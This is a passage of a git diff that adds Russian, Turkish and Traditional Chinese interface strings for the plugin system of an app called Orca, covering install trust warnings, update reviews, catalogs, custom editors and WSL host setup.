"Обновлён до {{value0}}", + "devUnverified": "Разработка · не проверен" + }, + "PluginsAlphaNotice": { + "label": "Альфа:", + "body": "Интерфейс плагинов может измениться. Возможны шероховатости.", + "dismiss": "Скрыть уведомление об альфа-версии" + }, + "PluginStatus": { + "needsReview": "Требует проверки", + "restarting": "Перезапуск", + "stopped": "Остановлен", + "cantLoad": "Не загружается", + "off": "Выкл.", + "running": "Работает", + "on": "Вкл.", + "blocked": "Заблокирован" + }, + "PluginContributionActionNewFile": { + "create": "Создать" } }, "right": { @@ -15010,7 +15201,8 @@ "79aa06bb2c": "Не удалось обновить. API GitHub временно недоступен. Показан последний известный статус.", "6ec12cee0c": "Не удалось обновить. GitHub сейчас недоступен. Показан последний известный статус.", "de088015e8": "Не удалось обновить. GitHub ограничивает запросы. Показан последний известный статус.", - "d9dd7c6687": "Не удалось получить обновление с GitHub. Показан последний известный статус." + "d9dd7c6687": "Не удалось получить обновление с GitHub. Показан последний известный статус.", + "manual_provider": "Не удалось получить обновление с {{provider}}. Попробуйте снова." } } }, @@ -17122,6 +17314,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Не удалось сохранить вставленное изображение рядом с документом. Оно может не загрузиться после перезапуска Orca." + }, + "PluginFileTypeSuggestion": { + "message": "Плагин может открывать файлы .{{value0}}: {{value1}}", + "view": "Открыть плагин", + "notNow": "Не сейчас", + "never": "Не предлагать для .{{value0}}", + "editorMessage": "Плагин добавляет редактор для файлов .{{value0}}: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Загрузка редактора…", + "unresponsive": "{{value0}} не отвечает. Переключитесь на «Исходный код», чтобы продолжить редактирование.", + "loadFailed": "Не удалось загрузить {{value0}}. Переключитесь на «Исходный код», чтобы редактировать файл.", + "editTooLarge": "Файл слишком большой, чтобы {{value0}} мог сохранить изменения. Используйте «Исходный код».", + "saveBlocked": "Не удалось сохранить последние изменения из {{value0}}.", + "editsHeld": "{{value0}} отправляет изменения слишком часто; Orca вскоре применит последнее.", + "largeFile": "Большой файл — это может занять некоторое время." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Повторить", + "tooLarge": "{{value0}} слишком велик, чтобы открыть его в {{value1}} ({{value2}}; ограничение — {{value3}}).", + "unsupported": "{{value0}} не может прочитать этот файл из места хранения. Обновите сервер Orca, на котором он находится, или переключитесь на «Исходный код».", + "readFailed": "Не удалось прочитать {{value0}} для {{value1}}. {{value2}}" } }, "diff": { @@ -17453,7 +17667,8 @@ }, "pluginQuickActions": { "description": "Команда плагина {{value0}}", - "keyword": "команда плагина" + "keyword": "команда плагина", + "newFileDescription": "Создать безымянный файл {{value0}} в активном рабочем пространстве." } } }, @@ -18778,6 +18993,10 @@ }, "PluginListRow": { "official": "Официальный" + }, + "PluginListGroup": { + "showAll": "Показать ещё {{value0}}", + "showAllTotal": "Показать все плагины ({{value0}})" } }, "terminalPane": { @@ -19233,6 +19452,13 @@ }, "pluginInstallCount": { "installs": "Установок: {{value0}}" + }, + "PluginCatalogLinkDialog": { + "failed": "Не удалось добавить этот каталог.", + "title": "Добавить каталог {{value0}}?", + "cancel": "Отмена", + "add": "Добавить каталог", + "body": "Ссылка запросила показ {{value0}} из этого каталога. Добавляйте каталоги только от тех, кому доверяете." } } }, @@ -20243,7 +20469,6 @@ "editMessage": "Изменить сообщение", "showFullMessage": "Показать сообщение целиком", "showLess": "Свернуть", - "turnOffQueueing": "Выключить очередь", "listLabel": "Очередь сообщений", "alreadySent": "Это сообщение уже отправлено.", "withdrawnHold": "Остановлено до отправки", @@ -20847,12 +21072,11 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "Ставить следующие сообщения в очередь", + "followUpBehaviorTitle": "Ставить следующие сообщения в очередь", "inlineVisualsTitle": "Визуализации в чате", "inlineVisualsCopy": "Агент сможет показывать графики, схемы и макеты прямо в ответах. Применяется к новым чатам.", "inlineVisualsToggleLabel": "Включить визуализации в чате", - "queueFollowUpsCopy": "Сообщения, отправленные во время работы агента, ждут в виде карточек: их можно отправить сейчас, изменить или удалить. Сообщения с изображениями отправляются сразу.", - "queueFollowUpsToggleLabel": "Включить очередь сообщений", + "followUpBehaviorCopy": "Сообщения, отправленные во время работы агента, ждут в виде карточек до конца хода, а не попадают в текущий ход. Cmd/Ctrl+Enter делает наоборот для одного сообщения.", "behaviorTitle": "Поведение", "resumeSearchUpdate": "обновление", "resumeSearchRelaunch": "перезапуск", diff --git a/src/renderer/src/i18n/locales/tr.json b/src/renderer/src/i18n/locales/tr.json index 9a80a0c4d3e..164c70822b1 100644 --- a/src/renderer/src/i18n/locales/tr.json +++ b/src/renderer/src/i18n/locales/tr.json @@ -210,6 +210,11 @@ }, "cardProperties": { "agentModel": "Aracı modeli" + }, + "wslHostOffer": { + "title": "{{distro}} dağıtımını ana makine olarak çalıştır (önerilir)", + "why": "Git, dosyalar ve terminaller Windows dosya paylaşımı yerine doğrudan Linux'ta çalışır.", + "accept": "Ana makine olarak çalıştır" } }, "app": { @@ -1317,6 +1322,13 @@ "pluginNewFile": { "unavailable": "{{value0}} artık kullanılamıyor. Eklentisini yeniden açın.", "failed": "Dosya oluşturulamadı." + }, + "pluginAutoUpdates": { + "one": "{{value0}}, {{value1}} sürümüne güncellendi", + "many": "{{value0}} eklenti güncellendi" + }, + "pluginInstallLink": { + "invalid": "Bu eklenti bağlantısı geçerli değil." } }, "lib": { @@ -7115,13 +7127,15 @@ "distro": "Dağıtım", "loading": "WSL dağıtımları aranıyor…", "placeholder": "Dağıtım seçin", - "none": "WSL dağıtımı bulunamadı. Yüklemek için: wsl --install", "stoppedHint": "{{value0}} durdurulmuş. Eklemek onu başlatır.", "addingHint": "Orca sunucusu dağıtıma yüklenip başlatılıyor. İlk seferinde bir dakika sürebilir.", "adding": "Kuruluyor…", "startAndAdd": "Başlat ve ekle", "add": "Ana makine ekle", - "refresh": "Yenile" + "refresh": "Yenile", + "wsl1Reason": "WSL 1 bir Orca ana makinesi çalıştıramaz; {{command}} ile dönüştürün", + "noWsl2Title": "WSL 2 dağıtımı bulunamadı", + "noWsl2Install": "Bir Windows terminalinde {{command}} ile bir dağıtım yükleyin, ardından Yenile'yi seçin." }, "wslHostRowStatus": { "connecting": "Başlatılıyor", @@ -8893,7 +8907,9 @@ "fbb428db98": "Seçili:", "search_terminal_themes": "Terminal temalarında ara", "cb330ef7f8": " / {{value0}}", - "c822571b2e": " \"{{value0}}\" ile eşleşen" + "c822571b2e": " \"{{value0}}\" ile eşleşen", + "plugin_themes": "Eklentiler", + "from_plugin": "{{value0}} kaynağından" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -11852,7 +11868,9 @@ "notificationsShow": "Eklenti adıyla etiketlenmiş masaüstü bildirimleri gösterir", "storage": "Eklentinin kendi depolama klasöründe veri saklar", "secrets": "Eklentinin kendi şifreli kasasında gizli bilgileri saklar ve okur", - "settingsOwn": "Eklentinin kendi ayarlarını okur ve değiştirir" + "settingsOwn": "Eklentinin kendi ayarlarını okur ve değiştirir", + "agentsRead": "Ajan durumu değiştiğinde bildirim al", + "terminalRun": "Terminallerinizde komut çalıştırma (SSH dahil)" }, "decisionFailed": "İzin kararı kaydedilemedi. Tekrar deneyin.", "fullAccessWarning": "Tam erişim: normal bir program gibi çalışır; dosyalarınızı okuyabilir, ağı kullanabilir ve başka programlar çalıştırabilir.", @@ -11876,7 +11894,9 @@ "remove": "Kaldır", "pathLabel": "Geliştirme eklentisi klasör yolu", "placeholder": "/Users/you/plugins/my-plugin veya C:\\Users\\you\\plugins\\my-plugin", - "add": "Yol ekle" + "add": "Yol ekle", + "dialogTitle": "Geliştirme klasörleri", + "reviewHelp": "Bir kez incelenir. Sonraki kod değişiklikleri sormadan çalışır." }, "PluginInstallDialog": { "localRequired": "Eklenti klasörü yolunu girin.", @@ -11959,11 +11979,16 @@ }, "PluginRemoveDialog": { "cancel": "İptal", - "remove": "Eklentiyi kaldır" + "remove": "Eklentiyi kaldır", + "title": "{{value0}} kaldırılsın mı?", + "description": "Verileri de kaldırılır." }, "PluginRollbackDialog": { "cancel": "İptal", - "confirm": "Eklentiyi geri al" + "confirm": "Eklentiyi geri al", + "title": "{{value0}} geri alınsın mı?", + "description": "Önceki sürümü geri yükler.", + "descriptionVersion": "{{value0}} sürümünü geri yükler." }, "PluginsSettingsSection": { "systemLabel": "Eklenti sistemi", @@ -11978,7 +12003,10 @@ "title": "Eklentiler", "description": "Orca eklentilerini yükleyin ve yönetin. Eklentiler, SSH çalışma alanları için bile bu bilgisayarda çalışır.", "logsFailed": "Eklenti günlükleri yüklenemedi.", - "rollbackFailed": "Bu eklenti geri alınamadı. Önceki değiştirilemez bir sürüm mevcut olmayabilir." + "rollbackFailed": "Bu eklenti geri alınamadı. Önceki değiştirilemez bir sürüm mevcut olmayabilir.", + "alpha": "Alfa", + "fileTypeSuggestionsLabel": "Bilinmeyen dosyalar için eklenti öner", + "restartFailed": "{{value0}} yeniden başlatılamadı." }, "PluginSettingsRow": { "loadingLogs": "Günlükler yükleniyor…", @@ -11990,7 +12018,8 @@ "viewLogs": "Günlükleri görüntüle", "disableLabel": "{{value0}} eklentisini devre dışı bırak", "enableLabel": "{{value0}} eklentisini etkinleştir", - "invalidPluginError": "Eklenti manifest'i veya yüklü dosyalar geçersiz. Eklentiyi düzeltip yenileyin." + "invalidPluginError": "Eklenti manifest'i veya yüklü dosyalar geçersiz. Eklentiyi düzeltip yenileyin.", + "syntaxFailed": "Vurgulama durdu: bu dil bilgisi başarısız oldu." }, "PluginVmRecipeConsentPreview": { "create": "Oluştur", @@ -12021,7 +12050,8 @@ "install": "eklenti yükle", "permissions": "eklenti izinleri", "logs": "eklenti günlükleri", - "development": "geliştirme eklentileri" + "development": "geliştirme eklentileri", + "aliases": "plugins mods extensions eklentiler modlar uzantılar" } }, "LinearAgentSkillGuide": { @@ -12961,7 +12991,28 @@ } }, "PluginUpdateAllDialog": { - "review": "İncele" + "review": "İncele", + "previewError": "Bu güncelleme okunamadı", + "newAccess": "Yeni: {{value0}}", + "failed": "{{value0}} güncellenemedi. Diğerleri güncellendi.", + "cancel": "İptal", + "updateOne": "1 eklentiyi güncelle", + "updateMany": "{{value0}} eklentiyi güncelle", + "failedAll": "{{value0}} güncellenemedi. Hiçbir şey güncellenmedi.", + "close": "Kapat", + "retry": "Tekrar dene", + "updated": "Güncellendi", + "needsOrca": "Orca {{value0}} veya üzeri gerekir", + "current": "Zaten yüklü", + "sourceMoved": "Yeni kaynak: {{value0}} (önceki: {{value1}})", + "newShortcuts": "Klavye kısayolları", + "newCommands": "Komutlar", + "newPanels": "Paneller", + "newEvents": "Daha fazla olay", + "newRecipes": "Makine tarifleri", + "newContributions": "Sizin adınıza işlem yapan özellikler", + "allAccess": "Tüm erişimi gör", + "update": "Güncelle" }, "PluginUpdateReview": { "title": "{{value0}} güncellemesini incele", @@ -12995,7 +13046,8 @@ }, "PluginContributionActionPanel": { "open": "Paneli aç", - "openName": "Paneli aç: {{value0}}" + "openName": "Paneli aç: {{value0}}", + "needsWorkspace": "Açık bir çalışma alanı gerekir" }, "PluginContributionActionSyntax": { "openExtension": "Herhangi bir {{value0}} dosyası aç", @@ -13006,7 +13058,10 @@ "updated": "Güncellendi", "license": "Lisans", "whatsNew": "Yenilikler", - "installs": "Yüklemeler" + "installs": "Yüklemeler", + "hashCopied": "İçerik özeti kopyalandı", + "hashCopyFailed": "Özet kopyalanamadı.", + "readme": "README dosyasını {{value0}} üzerinde okuyun" }, "PluginDetailPage": { "back": "Eklentiler", @@ -13017,7 +13072,20 @@ "requiresValue": "Orca {{value0}} veya üstü", "categories": "Kategoriler", "pluginId": "Eklenti kimliği", - "repository": "Depo" + "repository": "Depo", + "bundled": "Orca ile birlikte gelir", + "localFolder": "Yerel klasör", + "gitUrl": "Git URL’si", + "stoppedTitle": "Bir hatadan sonra durduruldu", + "stoppedBody": "Sürekli çöktü. Yeniden denemek için yeniden başlatın.", + "invalidTitle": "Orca bu eklentiyi yükleyemiyor", + "needsOrcaTitle": "Orca {{value0}} veya üzeri gerekir", + "needsOrcaBody": "Sizdeki sürüm: Orca {{value0}}.", + "newerTitle": "Daha yeni bir sürüm var", + "newerBody": "Siz buradayken katalog değişti.", + "showNewer": "Yenisini göster", + "stoppedDataBody": "Dosyaları yüklenemedi. Yeniden denemek için yeniden başlatın.", + "alsoListedBy": "{{value0}} tarafından da listeleniyor. Güncellemeler yalnızca yüklendiği katalogdan gelir; değiştirmek için kaldırıp yeniden yükleyin." }, "PluginDetailSections": { "typeLanguagePack": "Arayüz dili", @@ -13036,7 +13104,12 @@ "accessLoading": "Eklenti okunuyor…", "accessFailed": "Erişim bilgisi okunamadı", "retry": "Tekrar dene", - "customEditor": "Düzenleyici" + "customEditor": "Düzenleyici", + "panel": "Kenar çubuğu paneli", + "recipe": "Makine tarifi", + "logs": "Günlükler", + "copyLogs": "Kopyala", + "noAccessReach": "Kendi dosyaları dışında hiçbir şey" }, "PluginFilterPopover": { "kind": "Kategori", @@ -13065,7 +13138,9 @@ "replacesShortcut": "{{value0}} ({{value1}}), {{value2}} için kısayolunuzun yerini alır.", "updatesKeepApproval": "Güncellemeler yalnızca yeni erişim için tekrar sorar", "fullAccessUpdates": "Güncellemeler kodunu sormadan değiştirebilir", - "editsFileTypes": "Orca'da {{value0}} dosyalarını açar ve düzenler. Açtığı dosyaları okuyabilir." + "editsFileTypes": "Orca'da {{value0}} dosyalarını açar ve düzenler. Açtığı dosyaları okuyabilir.", + "install": "Yükle ve etkinleştir", + "keepOff": "Kapalı tut" }, "PluginListEmptyStates": { "noFilterMatches": "Bu filtrelerle eşleşen eklenti yok", @@ -13086,7 +13161,18 @@ "updateAll": "Tümünü güncelle…", "notFromCatalog": "katalog dışı", "allInstalledTitle": "Katalogdaki tüm eklentiler yüklü", - "showInstalled": "Yüklü eklentileri göster" + "showInstalled": "Yüklü eklentileri göster", + "verified": "doğrulandı", + "unverified": "doğrulanmadı", + "catalogLoading": "Katalog", + "catalogFailedTitle": "Eklenti kataloğu yüklenemedi.", + "catalogFailedBody": "Yüklü eklentileriniz çalışmaya devam eder.", + "sourceFailedTitle": "Bu katalog yüklenemedi.", + "sourceFailedBody": "Yüklü eklentileriniz çalışmaya devam eder.", + "sources": "Kaynaklar…", + "sourceStaleTitle": "Bu katalog yenilenemedi.", + "sourceStaleBody": "{{value0}} tarihli kopya gösteriliyor.", + "shownOf": "{{value0}} / {{value1}}" }, "PluginManagerRows": { "reinstall": "Yeniden yükle", @@ -13107,7 +13193,14 @@ "rollbackTo": "{{value0}} sürümüne geri al…", "copyContentHash": "İçerik karmasını kopyala", "reviewUpdate": "Güncellemeyi incele", - "dataLoadFailed": "Dosyaları yüklenemedi" + "dataLoadFailed": "Dosyaları yüklenemedi", + "copied": "Eklenti kimliği kopyalandı", + "copyFailed": "Eklenti kimliği kopyalanamadı.", + "details": "Ayrıntılar", + "unverified": "Doğrulanmadı", + "updateAvailable": "{{value0}} güncellemesi var", + "updateNeedsReview": "{{value0}} güncellemesinin incelenmesi gerekiyor", + "updatedTo": "{{value0}} sürümüne güncellendi" }, "pluginInstallAction": { "installed": "{{value0}} yüklendi", @@ -13145,7 +13238,105 @@ "PluginThemeUseNow": { "assignedLight": "{{value0}} açık temanız olarak ayarlandı", "assignedDark": "{{value0}} koyu temanız olarak ayarlandı", - "saveFailed": "Tema kaydedilemedi. Yeniden deneyin." + "saveFailed": "Tema kaydedilemedi. Yeniden deneyin.", + "label": "Şimdi kullan:", + "useForLight": "Açık tema için kullan:", + "useForDark": "Koyu tema için kullan:" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Bu klasöre güvendiğinizden emin olun", + "title": "{{value0}} kaynağına güvendiğinizden emin olun", + "theme": "Bu tema Orca’dan değil, {{value0}} kaynağından geliyor. Yalnızca güvendiğiniz yazarların eklentilerini yükleyin.", + "content": "Bu eklenti Orca’dan değil, {{value0}} kaynağından geliyor. Yalnızca güvendiğiniz yazarların eklentilerini yükleyin.", + "translations": "Bu çeviri Orca’dan değil, {{value0}} kaynağından geliyor. Çeviriler Orca’daki her metni değiştirebilir; bu yüzden yalnızca güvendiğiniz yazarlardan yükleyin.", + "code": "Bu eklenti Orca’dan değil, {{value0}} kaynağından geliyor. Yayıncının kodunu Orca içinde çalıştırır; bu yüzden yalnızca {{value0}} kaynağına güveniyorsanız yükleyin.", + "git": "Orca bu depoyu denetlemedi. Buradan gelen bir eklenti yayıncısının kodunu Orca içinde çalıştırabilir; bu yüzden yalnızca {{value0}} kaynağına güveniyorsanız yükleyin.", + "localFolder": "Bu doğrulanmamış bir yerel klasör. Buradan gelen bir eklenti Orca içinde kod çalıştırabilir; bu yüzden yalnızca kaynağına güveniyorsanız yükleyin.", + "devFolder": "Bu doğrulanmamış bir yerel klasör. Orca eklentisini olduğu gibi yükler ve sonraki kod düzenlemeleri sormadan çalışır; bu yüzden yalnızca güvendiğiniz klasörleri ekleyin.", + "publisher": "Yayıncı", + "repository": "Depo", + "folder": "Klasör", + "catalog": "Katalog", + "cancel": "İptal", + "addFolder": "Klasör ekle", + "install": "Yükle" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "Simge teması", + "description": "Etkin bir eklentiden gelen dosya ve klasör simgeleri.", + "builtIn": "Yerleşik" + } + }, + "PluginAddMenu": { + "add": "Eklenti ekle", + "folder": "Bir klasörden…", + "git": "Bir Git URL’sinden…", + "sources": "Katalog kaynakları…" + }, + "PluginSettingsOverview": { + "offTitle": "Eklentiler kapalı" + }, + "pluginContributions": { + "dark": "Koyu", + "light": "Açık", + "languageIncomplete": "%{{value0}} çevrildi; Orca’nın dili olarak kullanmak için fazla eksik", + "languageCoverage": "Arayüz dili · %{{value0}} çevrildi", + "newFileMenu": "+ menüsüne ekler" + }, + "PluginPageAction": { + "failedTitle": "{{value0}} yüklenemedi", + "contentOnly": "Yalnızca içerik" + }, + "PluginSettingsMenu": { + "label": "Eklenti ayarları", + "development": "Geliştirme klasörleri…", + "autoUpdateLabel": "Eklentileri otomatik güncelle", + "autoUpdateHint": "Yalnızca yeni erişim için yeniden sorar" + }, + "PluginPageHero": { + "screenshots": "Ekran görüntüleri", + "openScreenshot": "Ekran görüntüsünü aç: {{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "Önceki ekran görüntüsü", + "next": "Sonraki ekran görüntüsü" + }, + "PluginContributionActionCommand": { + "run": "Çalıştır", + "runName": "{{value0}} çalıştır", + "ran": "{{value0}} çalıştırıldı", + "failed": "{{value0}} başarısız oldu", + "seeLogs": "Aşağıdaki günlüklere bakın", + "needsWorkspace": "Açık bir çalışma alanı gerekir" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "Bir çalışma alanı oluşturulduğunda", + "worktreeRemoved": "Bir çalışma alanı kaldırıldığında", + "agentStatusChanged": "Bir ajanın durumu değiştiğinde", + "detail": "Arka plan kodu çalışır" + }, + "PluginChips": { + "updateNeedsReview": "Güncellemenin incelenmesi gerekiyor", + "updatedTo": "{{value0}} sürümüne güncellendi", + "devUnverified": "Geliştirme · doğrulanmadı" + }, + "PluginsAlphaNotice": { + "label": "Alfa:", + "body": "Eklenti arayüzü değişebilir. Bazı pürüzler olabilir.", + "dismiss": "Alfa bildirimini kapat" + }, + "PluginStatus": { + "needsReview": "İnceleme gerekiyor", + "restarting": "Yeniden başlatılıyor", + "stopped": "Durduruldu", + "cantLoad": "Yüklenemiyor", + "off": "Kapalı", + "running": "Çalışıyor", + "on": "Açık", + "blocked": "Engellendi" + }, + "PluginContributionActionNewFile": { + "create": "Oluştur" } }, "right": { @@ -14552,7 +14743,8 @@ "79aa06bb2c": "Yenilenemedi. GitHub'ın API'si geçici olarak kullanılamıyor. Bilinen son durum gösteriliyor.", "6ec12cee0c": "Yenilenemedi. GitHub şu anda erişilemez durumda. Bilinen son durum gösteriliyor.", "de088015e8": "Yenilenemedi. GitHub istekleri sınırlıyor. Bilinen son durum gösteriliyor.", - "d9dd7c6687": "GitHub'dan yenilenemedi. Bilinen son durum gösteriliyor." + "d9dd7c6687": "GitHub'dan yenilenemedi. Bilinen son durum gösteriliyor.", + "manual_provider": "{{provider}} kaynağından yenilenemedi. Tekrar deneyin." } } }, @@ -16608,6 +16800,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Yapıştırılan görsel belgenin yanına kaydedilemedi. Orca yeniden başlatıldıktan sonra yüklenmeyebilir." + }, + "PluginFileTypeSuggestion": { + "message": "Bir eklenti .{{value0}} dosyalarını açabilir: {{value1}}", + "view": "Eklentiyi görüntüle", + "notNow": "Şimdi değil", + "never": ".{{value0}} için önerme", + "editorMessage": "Bir eklenti .{{value0}} dosyaları için düzenleyici ekler: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Düzenleyici yükleniyor…", + "unresponsive": "{{value0}} yanıt vermiyor. Düzenlemeye devam etmek için Kaynak’a geçin.", + "loadFailed": "{{value0}} yüklenemedi. Bu dosyayı düzenlemek için Kaynak’a geçin.", + "editTooLarge": "Bu dosya {{value0}} değişiklikleri kaydedemeyecek kadar büyük. Bunun yerine Kaynak’ı kullanın.", + "saveBlocked": "{{value0}} kaynağındaki son değişiklikler kaydedilemedi.", + "editsHeld": "{{value0}} değişiklikleri çok hızlı gönderiyor; Orca en sonuncusunu birazdan uygular.", + "largeFile": "Büyük dosya — biraz zaman alabilir." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Tekrar dene", + "tooLarge": "{{value0}}, {{value1}} içinde açılamayacak kadar büyük ({{value2}}; sınır {{value3}}).", + "unsupported": "{{value0}} bu dosyayı depolandığı yerden okuyamıyor. Dosyayı barındıran Orca sunucusunu güncelleyin veya Kaynak’a geçin.", + "readFailed": "{{value0}}, {{value1}} için okunamadı. {{value2}}" } }, "diff": { @@ -16933,7 +17147,8 @@ }, "pluginQuickActions": { "description": "{{value0}} eklenti komutu", - "keyword": "eklenti komutu" + "keyword": "eklenti komutu", + "newFileDescription": "Etkin çalışma alanında adsız bir {{value0}} dosyası oluşturur." } } }, @@ -18202,6 +18417,10 @@ }, "PluginListRow": { "official": "Resmi" + }, + "PluginListGroup": { + "showAll": "{{value0}} tane daha göster", + "showAllTotal": "{{value0}} eklentinin tümünü göster" } }, "terminalPane": { @@ -18645,6 +18864,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} yükleme" + }, + "PluginCatalogLinkDialog": { + "failed": "Bu katalog eklenemedi.", + "title": "{{value0}} kataloğu eklensin mi?", + "cancel": "İptal", + "add": "Katalog ekle", + "body": "Bir bağlantı bu katalogdan {{value0}} öğesini göstermek istedi. Yalnızca güvendiğiniz kişilerin kataloglarını ekleyin." } } }, @@ -19561,7 +19787,6 @@ "editMessage": "Mesajı düzenle", "showFullMessage": "Mesajın tamamını göster", "showLess": "Daha az göster", - "turnOffQueueing": "Kuyruğa almayı kapat", "listLabel": "Kuyruktaki mesajlar", "alreadySent": "Bu mesaj zaten gönderildi.", "withdrawnHold": "Gönderilmeden önce durduruldu", @@ -20143,12 +20368,11 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "Takip mesajlarını kuyruğa al", + "followUpBehaviorTitle": "Takip mesajlarını sıraya al", "inlineVisualsTitle": "Yanıtlarda görseller", "inlineVisualsCopy": "Ajanın yanıtlarında grafikler, diyagramlar ve taslaklar göstermesine izin verin. Yeni başlatılan sohbetlere uygulanır.", "inlineVisualsToggleLabel": "Yanıtlardaki görselleri aç/kapat", - "queueFollowUpsCopy": "Ajan çalışırken gönderdiğiniz mesajlar yönlendirebileceğiniz, düzenleyebileceğiniz veya silebileceğiniz kartlar olarak bekler. Görsel içeren mesajlar hemen gönderilir.", - "queueFollowUpsToggleLabel": "Takip mesajlarını kuyruğa almayı aç/kapat", + "followUpBehaviorCopy": "Ajan çalışırken gönderilen mesajlar, çalışan tura girmek yerine tur bitene kadar kart olarak bekler. Cmd/Ctrl+Enter tek bir mesaj için bunun tersini yapar.", "behaviorTitle": "Davranış", "resumeSearchUpdate": "güncelle", "resumeSearchRelaunch": "yeniden başlat", diff --git a/src/renderer/src/i18n/locales/zh-Hant.json b/src/renderer/src/i18n/locales/zh-Hant.json index e8cb180745b..7da66a57cbb 100644 --- a/src/renderer/src/i18n/locales/zh-Hant.json +++ b/src/renderer/src/i18n/locales/zh-Hant.json @@ -186,6 +186,11 @@ }, "cardProperties": { "agentModel": "代理程式模型" + }, + "wslHostOffer": { + "title": "將 {{distro}} 作為主機執行(建議)", + "why": "Git、檔案和終端機將在 Linux 中原生執行,而不是透過 Windows 檔案共用。", + "accept": "作為主機執行" } }, "app": { @@ -1289,6 +1294,13 @@ "pluginNewFile": { "unavailable": "{{value0}} 已無法使用。請重新開啟其外掛。", "failed": "無法建立檔案。" + }, + "pluginAutoUpdates": { + "one": "{{value0}} 已更新至 {{value1}}", + "many": "已更新 {{value0}} 個外掛" + }, + "pluginInstallLink": { + "invalid": "這個外掛連結無效。" } }, "lib": { @@ -6954,13 +6966,15 @@ "distro": "發行版", "loading": "正在查詢 WSL 發行版…", "placeholder": "選擇發行版", - "none": "未找到 WSL 發行版。使用以下命令安裝:wsl --install", "stoppedHint": "{{value0}} 已停止。新增後會自動啟動。", "addingHint": "正在發行版中安裝並啟動 Orca 伺服器。首次可能需要一分鐘。", "adding": "正在設定…", "startAndAdd": "啟動並新增", "add": "新增主機", - "refresh": "重新整理" + "refresh": "重新整理", + "wsl1Reason": "WSL 1 無法執行 Orca 主機;請使用 {{command}} 轉換", + "noWsl2Title": "找不到 WSL 2 發行版", + "noWsl2Install": "在 Windows 終端機中使用 {{command}} 安裝一個,然後選擇「重新整理」。" }, "wslHostRowStatus": { "connecting": "正在啟動", @@ -8730,7 +8744,9 @@ "fbb428db98": "已選擇:", "search_terminal_themes": "搜尋終端機主題", "cb330ef7f8": "/{{value0}}", - "c822571b2e": " 符合「{{value0}}」" + "c822571b2e": " 符合「{{value0}}」", + "plugin_themes": "外掛", + "from_plugin": "來自 {{value0}}" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -11689,7 +11705,9 @@ "notificationsShow": "顯示標有外掛名稱的桌面通知", "storage": "在外掛自己的儲存資料夾中儲存資料", "secrets": "在外掛自己的加密保險庫中儲存和讀取機密資料", - "settingsOwn": "讀取和變更外掛自己的設定" + "settingsOwn": "讀取和變更外掛自己的設定", + "agentsRead": "在代理狀態變更時收到通知", + "terminalRun": "在你的終端機中執行命令,包括 SSH" }, "decisionFailed": "無法儲存權限決定。請重試。", "fullAccessWarning": "完整存取:以一般程式執行,可以讀取你的檔案、使用網路並執行其他程式。", @@ -11713,7 +11731,9 @@ "remove": "移除", "pathLabel": "開發外掛資料夾路徑", "placeholder": "/Users/you/plugins/my-plugin 或 C:\\Users\\you\\plugins\\my-plugin", - "add": "新增路徑" + "add": "新增路徑", + "dialogTitle": "開發資料夾", + "reviewHelp": "只需審查一次。之後的程式碼修改會直接執行,不再詢問。" }, "PluginInstallDialog": { "localRequired": "請輸入外掛資料夾路徑。", @@ -11796,11 +11816,16 @@ }, "PluginRemoveDialog": { "cancel": "取消", - "remove": "移除外掛" + "remove": "移除外掛", + "title": "要移除 {{value0}} 嗎?", + "description": "其資料也會一併移除。" }, "PluginRollbackDialog": { "cancel": "取消", - "confirm": "將外掛回復舊版" + "confirm": "將外掛回復舊版", + "title": "要復原 {{value0}} 嗎?", + "description": "還原為上一個版本。", + "descriptionVersion": "還原為版本 {{value0}}。" }, "PluginsSettingsSection": { "systemLabel": "外掛系統", @@ -11815,7 +11840,10 @@ "title": "外掛", "description": "安裝和管理 Orca 外掛。外掛在此電腦上執行,即使是 SSH 工作區也是如此。", "logsFailed": "無法載入外掛日誌。", - "rollbackFailed": "無法將此外掛回復舊版。先前不可變更的版本可能無法取得。" + "rollbackFailed": "無法將此外掛回復舊版。先前不可變更的版本可能無法取得。", + "alpha": "Alpha", + "fileTypeSuggestionsLabel": "為無法辨識的檔案建議外掛", + "restartFailed": "無法重新啟動 {{value0}}。" }, "PluginSettingsRow": { "loadingLogs": "正在載入日誌…", @@ -11827,7 +11855,8 @@ "viewLogs": "檢視日誌", "disableLabel": "停用 {{value0}}", "enableLabel": "啟用 {{value0}}", - "invalidPluginError": "外掛清單或安裝的檔案無效。請修復外掛,然後重新整理。" + "invalidPluginError": "外掛清單或安裝的檔案無效。請修復外掛,然後重新整理。", + "syntaxFailed": "已停止醒目提示:此語法定義發生錯誤。" }, "PluginVmRecipeConsentPreview": { "create": "建立", @@ -11858,7 +11887,8 @@ "install": "安裝外掛", "permissions": "外掛權限", "logs": "外掛日誌", - "development": "開發外掛" + "development": "開發外掛", + "aliases": "plugins mods extensions 外掛 模組 擴充功能" } }, "LinearAgentSkillGuide": { @@ -12798,7 +12828,28 @@ } }, "PluginUpdateAllDialog": { - "review": "檢視" + "review": "檢視", + "previewError": "無法讀取此更新", + "newAccess": "新增:{{value0}}", + "failed": "無法更新 {{value0}}。其他外掛已更新。", + "cancel": "取消", + "updateOne": "更新 1 個外掛", + "updateMany": "更新 {{value0}} 個外掛", + "failedAll": "無法更新 {{value0}}。未更新任何項目。", + "close": "關閉", + "retry": "再試一次", + "updated": "已更新", + "needsOrca": "需要 Orca {{value0}} 或更新版本", + "current": "已安裝", + "sourceMoved": "新來源:{{value0}}(原為 {{value1}})", + "newShortcuts": "鍵盤快速鍵", + "newCommands": "命令", + "newPanels": "面板", + "newEvents": "更多事件", + "newRecipes": "機器配方", + "newContributions": "代替你執行動作的功能", + "allAccess": "查看所有存取權限", + "update": "更新" }, "PluginUpdateReview": { "title": "檢視 {{value0}} 的更新", @@ -12832,7 +12883,8 @@ }, "PluginContributionActionPanel": { "open": "開啟面板", - "openName": 